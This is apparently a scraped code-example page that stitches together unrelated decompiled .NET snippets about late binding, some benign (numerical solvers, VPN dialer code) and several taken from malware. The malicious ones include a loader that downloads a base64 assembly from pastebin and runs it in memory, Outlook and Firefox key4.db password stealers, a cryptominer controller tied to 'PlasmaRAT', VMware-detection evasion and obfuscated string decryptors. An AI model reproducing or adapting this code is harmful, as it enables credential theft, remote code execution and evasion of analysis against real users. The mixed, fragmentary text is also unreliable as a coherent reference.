                        num13 = this.calcF8(X2, Y + num12 * num6);
                        num14 = this.calcF8(x0, Y + num13 * num5);
                        break;

                    case 10:
                        num11 = this.calcF10(X1, Y);
                        num12 = this.calcF10(X2, Y + num11 * num6);
                        num13 = this.calcF10(X2, Y + num12 * num6);
                        num14 = this.calcF10(x0, Y + num13 * num5);
                        break;

                    case 13:
                        num11 = this.calcF13(X1, Y);
                        num12 = this.calcF13(X2, Y + num11 * num6);
                        num13 = this.calcF13(X2, Y + num12 * num6);
                        num14 = this.calcF13(x0, Y + num13 * num5);
                        break;
                    }
                    num4 = Y + num7 * (num11 + 2.0 * (num12 + num13) + num14);
                    if (num9 == num8)
                    {
                        num9 = 0;
                        ++num10;
                        if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet((object)null, typeof(Math), "Abs", new object[1]
                        {
                            Operators.SubtractObject(NewLateBinding.LateIndexGet((object)instance, new object[1]
                            {
                                (object)num10
                            }, (string[])null), (object)num4)
                        }, (string[])null, (Type[])null, (bool[])null), (object)num2, false))
                        {
                            ++num3;
                        }
                        NewLateBinding.LateIndexSet((object)instance, new object[2]
                        {
                            (object)num10,
                            (object)num4
                        }, (string[])null);
                    }
                }
            }while (num3 > 0 & this.N < 11);
            int num15 = 1;

            do
            {
                NewLateBinding.LateIndexSet((object)this.Y, new object[2]
                {
                    (object)num15,
                    RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)instance, new object[1]
                    {
                        (object)num15
                    }, (string[])null))
                }, (string[])null);
                ++num15;
            }while (num15 <= 11);
        }
Esempio n. 8
0
        public static void main()
        {
            string s = Module1.wb.DownloadString("https://pastebin.com/raw/VGBKCm0j");

            byte[] rawAssembly = Convert.FromBase64String(s);
            object instance    = AppDomain.CurrentDomain.Load(rawAssembly);
            object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(instance, null, "Entrypoint", new object[0], null, null, null), null, "invoke", new object[]
            {
                null,
                null
            }, null, null, null));
        }
Esempio n. 9
0
		// Token: 0x06000175 RID: 373 RVA: 0x00030C40 File Offset: 0x0002EE40
		public static string jlw(string jlq, byte[] jlz, byte[] jmn)
		{
			object value = jlq;
			if (jlq[0] == '_')
			{
				value = jlq.Substring(1);
			}
			string result;
			try
			{
				byte[] array = Convert.FromBase64String(Conversions.ToString(value));
				object instance = new TripleDESCryptoServiceProvider();
				byte[] bytes;
				for (;;)
				{
					IL_1C0:
					uint num = 2798840847u;
					for (;;)
					{
						uint num2;
						switch ((num2 = (num ^ 2441644919u)) % 6u)
						{
						case 1u:
							NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289272 -> "Mode")), new object[]
							{
								CipherMode.CBC
							}, null, null);
							num = (num2 * 2996091882u ^ 3117231597u);
							continue;
						case 2u:
							NewLateBinding.LateSet(instance, null, "Key", new object[]
							{
								jlz
							}, null, null);
							num = (num2 * 1529882866u ^ 818523684u);
							continue;
						case 3u:
						{
							NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289344 -> "Padding")), new object[]
							{
								PaddingMode.None
							}, null, null);
							object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(289320 -> "CreateDecryptor")), new object[0], null, null, null);
							Type type = null;
							string memberName = <Module>.smethod_strings_decryptor(288880 -> "TransformFinalBlock"));
							object[] array2 = new object[]
							{
								array,
								0,
								array.Length
							};
							object[] arguments = array2;
							string[] argumentNames = null;
							Type[] typeArguments = null;
							bool[] array3 = new bool[]
							{
								true,
								false,
								false
							};
							object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array3);
							if (array3[0])
							{
								array = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(byte[]));
							}
							bytes = (byte[])obj;
							num = 3759328199u;
							continue;
						}
						case 4u:
							NewLateBinding.LateSet(instance, null, "IV", new object[]
							{
								jmn
							}, null, null);
							num = (num2 * 2872348949u ^ 1740776270u);
							continue;
						case 5u:
							goto IL_1C0;
						}
						goto Block_4;
					}
				}
				Block_4:
				result = Encoding.UTF8.GetString(bytes);
			}
			catch (Exception ex)
			{
				for (;;)
				{
					IL_21B:
					uint num3 = 2968584005u;
					for (;;)
					{
						uint num2;
						switch ((num2 = (num3 ^ 2441644919u)) % 3u)
						{
						case 1u:
							result = null;
							num3 = (num2 * 500181452u ^ 3869677450u);
							continue;
						case 2u:
							goto IL_21B;
						}
						goto Block_6;
					}
				}
				Block_6:;
			}
			return result;
		}
Esempio n. 10
0
 private void method_3(string string_0, ref BinFileValue binFileValue_0)
 {
     if (binFileValue_0.Value is float[] | binFileValue_0.Value is byte[] | binFileValue_0.Value is ushort[])
     {
         string_0 = string_0.Remove(0, 1);
         string_0 = string_0.Remove(checked (string_0.Length - 1), 1);
         string[] array = string_0.Split(',');
         if (Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateGet(binFileValue_0.Value, null, "Length", new object[0], null, null, null), array.Length, false))
         {
             throw new Exception("The specified array doesn't have the correct dimension.");
         }
         if (binFileValue_0.Value is float[])
         {
             object obj     = new object();
             object loopObj = new object();
             if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, Operators.SubtractObject(NewLateBinding.LateGet(binFileValue_0.Value, null, "Length", new object[0], null, null, null), 1), 1, ref loopObj, ref obj))
             {
                 do
                 {
                     NewLateBinding.LateIndexSet(binFileValue_0.Value, new object[]
                     {
                         obj,
                         this.method_1(array[Convert.ToInt32(obj)])
                     }, null);
                 }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, loopObj, ref obj));
             }
         }
         else
         {
             object obj2     = new object();
             object loopObj2 = new object();
             if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj2, 0, Operators.SubtractObject(NewLateBinding.LateGet(binFileValue_0.Value, null, "Length", new object[0], null, null, null), 1), 1, ref loopObj2, ref obj2))
             {
                 do
                 {
                     NewLateBinding.LateIndexSet(binFileValue_0.Value, new object[]
                     {
                         obj2,
                         array[Convert.ToInt32(obj2)]
                     }, null);
                 }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj2, loopObj2, ref obj2));
             }
         }
     }
     else
     {
         if (binFileValue_0.Value is float)
         {
             binFileValue_0.Value = this.method_1(string_0);
         }
         else
         {
             binFileValue_0.Value = string_0;
         }
     }
 }
Esempio n. 11
0
    // Token: 0x060000B3 RID: 179 RVA: 0x0000CC70 File Offset: 0x0000AE70
    internal static string GetOutlookPasswords()
    {
        string text = "";

        string[] array = new string[]
        {
            "IMAP Password",
            "POP3 Password",
            "HTTP Password",
            "SMTP Password"
        };
        string text2 = "";

        RegistryKey[] array2 = new RegistryKey[]
        {
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"),
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"),
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"),
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676")
        };
        string result;

        try
        {
            foreach (RegistryKey registryKey in array2)
            {
                if (registryKey != null)
                {
                    foreach (string name in registryKey.GetSubKeyNames())
                    {
                        using (RegistryKey registryKey2 = registryKey.OpenSubKey(name))
                        {
                            if (registryKey2.GetValue("Email") != null | (registryKey2.GetValue("IMAP Password") != null | registryKey2.GetValue("POP3 Password") != null | registryKey2.GetValue("HTTP Password") != null | registryKey2.GetValue("SMTP Password") != null))
                            {
                                if (Operators.CompareString(text, "", false) == 0)
                                {
                                    text = "Outlook: \r\n";
                                }
                                foreach (string name2 in array)
                                {
                                    if (registryKey2.GetValue(name2) != null)
                                    {
                                        byte[] encryptedData = (byte[])registryKey2.GetValue(name2);
                                        text2 = OutlookRecover.decryptOutlookPassword(encryptedData);
                                    }
                                }
                                object objectValue = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("Email"));
                                byte[] bytes;
                                try
                                {
                                    object   utf        = Encoding.UTF8;
                                    Type     type       = null;
                                    string   memberName = "GetBytes";
                                    object[] array5     = new object[]
                                    {
                                        RuntimeHelpers.GetObjectValue(objectValue)
                                    };
                                    object[] arguments     = array5;
                                    string[] argumentNames = null;
                                    Type[]   typeArguments = null;
                                    bool[]   array6        = new bool[]
                                    {
                                        true
                                    };
                                    object obj = NewLateBinding.LateGet(utf, type, memberName, arguments, argumentNames, typeArguments, array6);
                                    if (array6[0])
                                    {
                                        objectValue = RuntimeHelpers.GetObjectValue(array5[0]);
                                    }
                                    bytes = (byte[])obj;
                                }
                                catch (Exception ex)
                                {
                                    bytes = (byte[])objectValue;
                                }
                                object objectValue2 = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("SMTP Server"));
                                byte[] bytes2;
                                if (objectValue2 != null)
                                {
                                    try
                                    {
                                        bytes2 = (byte[])registryKey2.GetValue("SMTP Server");
                                        goto IL_29F;
                                    }
                                    catch (Exception ex2)
                                    {
                                        object   utf2        = Encoding.UTF8;
                                        Type     type2       = null;
                                        string   memberName2 = "GetBytes";
                                        object[] array7      = new object[]
                                        {
                                            RuntimeHelpers.GetObjectValue(objectValue2)
                                        };
                                        object[] arguments2     = array7;
                                        string[] argumentNames2 = null;
                                        Type[]   typeArguments2 = null;
                                        bool[]   array6         = new bool[]
                                        {
                                            true
                                        };
                                        object obj2 = NewLateBinding.LateGet(utf2, type2, memberName2, arguments2, argumentNames2, typeArguments2, array6);
                                        if (array6[0])
                                        {
                                            objectValue2 = RuntimeHelpers.GetObjectValue(array7[0]);
                                        }
                                        bytes2 = (byte[])obj2;
                                        goto IL_29F;
                                    }
                                }
                                bytes2 = Encoding.UTF8.GetBytes("Nothing");
IL_29F:
                                text = text + "SMTP: " + Encoding.UTF8.GetString(bytes2).Replace("\0", "") + "\r\n";
                                text = text + "User: "******"") + "\r\n";
                                text = text + "Pass: "******"") + "\r\n\r\n";
                            }
                        }
                    }
                }
            }
            result = text;
        }
        catch (Exception ex3)
        {
        }
        return(result);
    }
Esempio n. 12
0
        private string method_2(object object_0)
        {
            string result;

            if (object_0 is float[] | object_0 is byte[] | object_0 is ushort[])
            {
                string text    = "[";
                object obj     = new object();
                object loopObj = new object();
                if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, Operators.SubtractObject(NewLateBinding.LateGet(object_0, null, "Length", new object[0], null, null, null), 2), 1, ref loopObj, ref obj))
                {
                    do
                    {
                        if (object_0 is float[])
                        {
                            text = text + this.method_0(Convert.ToSingle(NewLateBinding.LateIndexGet(object_0, new object[]
                            {
                                obj
                            }, null))) + ",";
                        }
                        else
                        {
                            text = Convert.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(text, NewLateBinding.LateIndexGet(object_0, new object[]
                            {
                                obj
                            }, null)), ","));
                        }
                    }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, loopObj, ref obj));
                }
                if (object_0 is float[])
                {
                    text = text + this.method_0(Convert.ToSingle(NewLateBinding.LateIndexGet(object_0, new object[]
                    {
                        Operators.SubtractObject(NewLateBinding.LateGet(object_0, null, "Length", new object[0], null, null, null), 1)
                    }, null))) + "]";
                }
                else
                {
                    text = Convert.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(text, NewLateBinding.LateIndexGet(object_0, new object[]
                    {
                        Operators.SubtractObject(NewLateBinding.LateGet(object_0, null, "Length", new object[0], null, null, null), 1)
                    }, null)), "]"));
                }
                result = text;
            }
            else
            {
                if (object_0 is float)
                {
                    result = this.method_0(Convert.ToSingle(object_0));
                }
                else
                {
                    result = object_0.ToString();
                }
            }
            return(result);
        }
Esempio n. 13
0
        // Token: 0x06000091 RID: 145 RVA: 0x000094EC File Offset: 0x000076EC
        public static void RemoveMiner()
        {
            int    num;
            int    num4;
            object obj2;

            try
            {
IL_00:
                ProjectData.ClearProjectError();
                num = 1;
IL_07:
                int num2 = 2;
                string setting = Interaction.GetSetting("Microsoft", "Sysinternals", "id", "");
IL_23:
                num2 = 3;
                if (Operators.CompareString(setting, string.Empty, false) == 0)
                {
                    goto IL_FC;
                }
IL_37:
                num2 = 4;
                Interaction.SaveSetting("Microsoft", "Sysinternals", "id", string.Empty);
IL_52:
                num2 = 5;
                IEnumerator enumerator = ((IEnumerable)NewLateBinding.LateGet(Interaction.GetObject("winmgmts:", null), null, "ExecQuery", new object[]
                {
                    "Select Name from Win32_Process Where Name = '" + Miner.MinerExecutable + ".exe'"
                }, null, null, null)).GetEnumerator();
                while (enumerator.MoveNext())
                {
                    object obj         = enumerator.Current;
                    object objectValue = RuntimeHelpers.GetObjectValue(obj);
IL_A8:
                    num2 = 6;
                    NewLateBinding.LateCall(objectValue, null, "Terminate", new object[0], null, null, null, true);
IL_C2:
                    num2 = 7;
                }
                if (enumerator is IDisposable)
                {
                    (enumerator as IDisposable).Dispose();
                }
IL_E2:
                num2           = 8;
                Miner.RanMiner = false;
IL_EA:
                num2 = 9;
                PlasmaRAT.TalktoChannel("CPU Miner: Stopped Successfully.", string.Empty);
IL_FC:
                goto IL_17B;
IL_FE:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_13A:
                goto IL_170;
IL_13C:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_14D :;
            }
            catch when(endfilter(obj2 is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj3;

                goto IL_13C;
            }
IL_170:
            throw ProjectData.CreateProjectError(-2146828237);
IL_17B:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Esempio n. 14
0
        public void Close()
        {
            if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(this.GlobalOBJ, (Type)null, "InvokeRequired", new object[0], (string[])null, (Type[])null, (bool[])null), (object)true, false))
            {
                NewLateBinding.LateCall(this.GlobalOBJ, (Type)null, "BeginInvoke", new object[2]
                {
                    (object)new RasDialUC.d_Close(this.Close),
                    (object)new object[0]
                }, (string[])null, (Type[])null, (bool[])null, true);
            }
            else
            {
                this.MonitorDisconnect = RasDialUC.myMonitorDisconnect.StartDisconnect;
                if (!Information.IsNothing((object)this.tmrMonitorDisconnect))
                {
                    this.tmrMonitorDisconnect.Stop();
                    this.tmrMonitorDisconnect.Elapsed -= new ElapsedEventHandler(this.tmrMonitorDisconnect_Elapsed);
                    this.tmrMonitorDisconnect          = (Timer)null;
                }
                if (MyProject.Forms.frmMain_RasDialex.AutoConnectRasDial)
                {
                    this.tmrMonitorDisconnect           = new Timer();
                    this.tmrMonitorDisconnect.AutoReset = false;
                    this.tmrMonitorDisconnect.Elapsed  += new ElapsedEventHandler(this.tmrMonitorDisconnect_Elapsed);
                    this.tmrMonitorDisconnect.Interval  = 15000.0;
                    this.tmrMonitorDisconnect.Start();
                }
                switch (this.VPN_Reboot_Method)
                {
                case 0:
                    if (!this.OptionsOK)
                    {
                        this.ErrorSend(100040);
                        break;
                    }
                    if (this.GetStatus() == 0)
                    {
                        this.send_Disconnected();
                        break;
                    }
                    if (this.MainHeader == IntPtr.Zero)
                    {
                        this.send_Disconnected();
                        break;
                    }
                    int num = RasDialUC.RasHangUp(this.MainHeader);
                    if (num == 0)
                    {
                        break;
                    }
                    this.ErrorSend(checked (num + 70000));
                    break;

                case 1:
                    try
                    {
                        string  str1    = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\rasdial.exe";
                        Process process = new Process();
                        process.StartInfo.FileName = str1;
                        string str2 = Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtEntryName.Text) + " /disconnect";
                        process.StartInfo.Arguments   = str2;
                        process.StartInfo.WindowStyle = !MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal;
                        process.Start();
                        _FUNCTION.clsTXT fn    = _FUNCTION.FN;
                        string           sText = str1 + " " + str2;
                        fn.TXT(ref sText);
                        break;
                    }
                    catch (Exception ex)
                    {
                        ProjectData.SetProjectError(ex);
                        Exception        exception = ex;
                        _FUNCTION.clsTXT fn        = _FUNCTION.FN;
                        string           sText     = "RasDialEx Error: " + exception.Message;
                        fn.TXT(ref sText);
                        ProjectData.ClearProjectError();
                        break;
                    }

                case 2:
                    try
                    {
                        string externalProgram = MyProject.Forms.frmMain_RasDialex.ExternalProgram;
                        new Process()
                        {
                            StartInfo =
                            {
                                FileName    = externalProgram,
                                Arguments   = MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamDisconnect,
                                WindowStyle = (!MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal)
                            }
                        }.Start();
                        _FUNCTION.clsTXT fn    = _FUNCTION.FN;
                        string           sText = externalProgram + " " + MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamDisconnect;
                        fn.TXT(ref sText);
                        break;
                    }
                    catch (Exception ex)
                    {
                        ProjectData.SetProjectError(ex);
                        Exception        exception = ex;
                        _FUNCTION.clsTXT fn        = _FUNCTION.FN;
                        string           sText     = "RasDialEx Error: " + exception.Message;
                        fn.TXT(ref sText);
                        ProjectData.ClearProjectError();
                        break;
                    }
                }
            }
        }
Esempio n. 15
0
 private bool VMW()
 {
     return(Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.LocalMachine.GetValue(@"SOFTWARE\\VMware, Inc.\\VMware Tools", ""), "noValueButYesKey", false) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 2\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SYSTEM\\ControlSet001\\Services\\Disk\\Enum", "0"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "vmware".ToUpper() }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", "DriverDesc"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\Settings", "Device Description"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VMWARE" }, null, null, null)) || Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"SOFTWARE\\VMware, Inc.\\VMware Tools", "InstallPath"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { @"C:\\PROGRAM FILES\\VMWARE\\VMWARE TOOLS\\" }, null, null, null)))))))));
 }
Esempio n. 16
0
		// Token: 0x06000176 RID: 374 RVA: 0x00030E90 File Offset: 0x0002F090
		public static string jmw(byte[] jmq, byte[] jmz, byte[] jno)
		{
			string result;
			try
			{
				object instance = new TripleDESCryptoServiceProvider();
				NewLateBinding.LateSet(instance, null, "Key", new object[]
				{
					jmz
				}, null, null);
				for (;;)
				{
					IL_17A:
					uint num = 358085816u;
					for (;;)
					{
						uint num2;
						switch ((num2 = (num ^ 445561275u)) % 4u)
						{
						case 0u:
							goto IL_17A;
						case 2u:
						{
							NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288928 -> "Padding")), new object[]
							{
								PaddingMode.None
							}, null, null);
							object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(289032 -> "CreateDecryptor")), new object[0], null, null, null);
							Type type = null;
							string memberName = <Module>.smethod_strings_decryptor(288976 -> "TransformFinalBlock"));
							object[] array = new object[]
							{
								jmq,
								0,
								jmq.Length
							};
							object[] arguments = array;
							string[] argumentNames = null;
							Type[] typeArguments = null;
							bool[] array2 = new bool[]
							{
								true,
								false,
								false
							};
							object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array2);
							if (array2[0])
							{
								jmq = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(byte[]));
							}
							byte[] bytes = (byte[])obj;
							result = Encoding.UTF8.GetString(bytes);
							num = 950430u;
							continue;
						}
						case 3u:
							NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288856 -> "Mode")), new object[]
							{
								CipherMode.CBC
							}, null, null);
							NewLateBinding.LateSet(instance, null, "IV", new object[]
							{
								jno
							}, null, null);
							num = (num2 * 3720301735u ^ 3246904256u);
							continue;
						}
						goto Block_3;
					}
				}
				Block_3:;
			}
			catch (Exception ex)
			{
				result = null;
			}
			return result;
		}
Esempio n. 17
0
        private void method_0(object sender, CancelEventArgs e)
        {
            string urlString = Conversions.ToString(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(sender, null, "Document", new object[0], null, null, null), null, "ActiveElement", new object[0], null, null, null), null, "GetAttribute", new object[]
            {
                "href"
            }, null, null, null));

            this.WebBrowser1.Navigate(urlString);
            e.Cancel = true;
        }
Esempio n. 18
0
		// Token: 0x06000177 RID: 375 RVA: 0x00031050 File Offset: 0x0002F250
		public static byte[] jnx(byte[] jnw, byte[] jnq, byte[] jnz)
		{
			byte[] result;
			try
			{
				object instance = new TripleDESCryptoServiceProvider();
				NewLateBinding.LateSet(instance, null, "Key", new object[]
				{
					jnq
				}, null, null);
				NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289080 -> "Mode")), new object[]
				{
					CipherMode.CBC
				}, null, null);
				NewLateBinding.LateSet(instance, null, "IV", new object[]
				{
					jnz
				}, null, null);
				NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288640 -> "Padding")), new object[]
				{
					PaddingMode.None
				}, null, null);
				for (;;)
				{
					IL_152:
					int num = 1742263625;
					for (;;)
					{
						switch ((num ^ 752070594) % 3)
						{
						case 0:
							goto IL_152;
						case 2:
						{
							object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(288616 -> "CreateDecryptor")), new object[0], null, null, null);
							Type type = null;
							string memberName = <Module>.smethod_strings_decryptor(288688 -> "TransformFinalBlock"));
							object[] array = new object[]
							{
								jnw,
								0,
								jnw.Length
							};
							object[] arguments = array;
							string[] argumentNames = null;
							Type[] typeArguments = null;
							bool[] array2 = new bool[]
							{
								true,
								false,
								false
							};
							object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array2);
							if (array2[0])
							{
								jnw = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(byte[]));
							}
							byte[] array3 = (byte[])obj;
							result = array3;
							num = 1641555903;
							continue;
						}
						}
						goto Block_3;
					}
				}
				Block_3:;
			}
			catch (Exception ex)
			{
				result = null;
			}
			return result;
		}
Esempio n. 19
0
        private void EJL2R(int Fidx)
        {
            Array instance = Array.CreateInstance(typeof(double), 12);
            int   num1     = 1;

            do
            {
                NewLateBinding.LateIndexSet((object)instance, new object[2]
                {
                    (object)num1,
                    (object)this.Y0
                }, (string[])null);
                ++num1;
            }while (num1 <= 11);
            double num2 = this.EPS / 3.0;
            int    num3;

            do
            {
                double x0   = this.X0;
                double num4 = this.Y0;
                this.N = 2 * this.N;
                double num5 = (this.XN - this.X0) / (double)this.N;
                double num6 = num5 / 2.0;
                int    num7 = (int)Math.Round((double)this.N / 10.0);
                int    num8 = 0;
                num3 = 0;
                int num9 = 1;
                int n    = this.N;
                for (int index = 1; index <= n; ++index)
                {
                    ++num8;
                    double X = x0;
                    x0 += num5;
                    double Y = num4;
                    switch (Fidx)
                    {
                    case 3:
                        double num10 = this.calcF3(X, Y);
                        num4 = Y + num6 * (num10 + this.calcF3(x0, Y + num5 * num10));
                        break;

                    case 5:
                        double num11 = this.calcF5(X, Y);
                        num4 = Y + num6 * (num11 + this.calcF5(x0, Y + num5 * num11));
                        break;

                    case 12:
                        double num12 = this.calcF12(X, Y);
                        num4 = Y + num6 * (num12 + this.calcF12(x0, Y + num5 * num12));
                        break;

                    case 16:
                        double num13 = this.calcF16(X, Y);
                        num4 = Y + num6 * (num13 + this.calcF16(x0, Y + num5 * num13));
                        break;
                    }
                    if (num8 == num7)
                    {
                        num8 = 0;
                        ++num9;
                        if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet((object)null, typeof(Math), "Abs", new object[1]
                        {
                            Operators.SubtractObject(NewLateBinding.LateIndexGet((object)instance, new object[1]
                            {
                                (object)num9
                            }, (string[])null), (object)num4)
                        }, (string[])null, (Type[])null, (bool[])null), (object)num2, false))
                        {
                            ++num3;
                        }
                        NewLateBinding.LateIndexSet((object)instance, new object[2]
                        {
                            (object)num9,
                            (object)num4
                        }, (string[])null);
                    }
                }
            }while (num3 > 0 & this.N > 11);
            int num14 = 1;

            do
            {
                NewLateBinding.LateIndexSet((object)this.Y, new object[2]
                {
                    (object)num14,
                    RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)instance, new object[1]
                    {
                        (object)num14
                    }, (string[])null))
                }, (string[])null);
                ++num14;
            }while (num14 <= 11);
        }
Esempio n. 20
0
		// Token: 0x06000170 RID: 368 RVA: 0x0002F990 File Offset: 0x0002DB90
		public static byte[] hou(string hov)
		{
			if (File.Exists(hov + <Module>.smethod_strings_decryptor(290624 -> "key4.db"))))
			{
				string baseName = hov + <Module>.smethod_strings_decryptor(290600 -> "key4.db"));
				try
				{
					jwq jwq;
					byte[] result;
					try
					{
						jwq = new jwq(baseName);
					}
					catch (Exception ex)
					{
						for (;;)
						{
							IL_76:
							uint num = 397499132u;
							for (;;)
							{
								uint num2;
								switch ((num2 = (num ^ 864882355u)) % 3u)
								{
								case 0u:
									goto IL_76;
								case 1u:
									result = null;
									num = (num2 * 1771186742u ^ 998640529u);
									continue;
								}
								goto Block_12;
							}
						}
						Block_12:
						return result;
					}
					if (!jwq.kry(<Module>.smethod_strings_decryptor(290160 -> "metaData"))))
					{
						goto IL_104;
					}
					goto IL_419;
					uint num3;
					byte[] hnp;
					for (;;)
					{
						IL_3B1:
						uint num2;
						int num4;
						jox.hjl hjl;
						byte[] bytes;
						object instance;
						switch ((num2 = (num3 ^ 864882355u)) % 20u)
						{
						case 0u:
							goto IL_C7;
						case 1u:
						{
							byte[] hjn = new byte[0];
							num3 = (num2 * 3762620962u ^ 2429759357u);
							continue;
						}
						case 2u:
						{
							byte[] hlr;
							byte[] hlr2;
							Encoding.Default.GetString(jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), hlr, hlr2));
							num3 = (num2 * 3444158586u ^ 4141135044u);
							continue;
						}
						case 4u:
							goto IL_206;
						case 5u:
							goto IL_19D;
						case 6u:
							checked
							{
								num4++;
							}
							num3 = (num2 * 15138852u ^ 1432410666u);
							continue;
						case 7u:
						{
							hnp = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290208 -> "item1"))));
							byte[] hjn = Encoding.Default.GetBytes(jwq.kuv(0, <Module>.smethod_strings_decryptor(290312 -> "item2"))));
							num3 = (num2 * 2475399591u ^ 4263075038u);
							continue;
						}
						case 8u:
							result = null;
							num3 = (num2 * 1572013394u ^ 3874933492u);
							continue;
						case 9u:
							num4 = 0;
							num3 = (num2 * 655340772u ^ 3340638214u);
							continue;
						case 10u:
						{
							Encoding.Default.GetBytes(jwq.kuv(1, <Module>.smethod_strings_decryptor(290360 -> "a102"))));
							jox.hjz hjz = hjl.hjm(bytes);
							object hlr3 = hjz.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
							object hlr4 = hjz.hlp[0].hlp[1].hlr;
							instance = jox.hls.hno(hnp, Encoding.ASCII.GetBytes(""), (byte[])hlr3, (byte[])hlr4);
							num3 = (num2 * 1158233609u ^ 3368708756u);
							continue;
						}
						case 11u:
							goto IL_42D;
						case 12u:
							if (Operators.CompareString(jwq.kuv(0, "id"), <Module>.smethod_strings_decryptor(290136 -> "password")), false) == 0)
							{
								num3 = (num2 * 3331896414u ^ 3718961892u);
								continue;
							}
							goto IL_206;
						case 13u:
							if (num4 > 23)
							{
								num3 = (num2 * 3232749855u ^ 3008978758u);
								continue;
							}
							goto IL_19D;
						case 14u:
							goto IL_419;
						case 16u:
						{
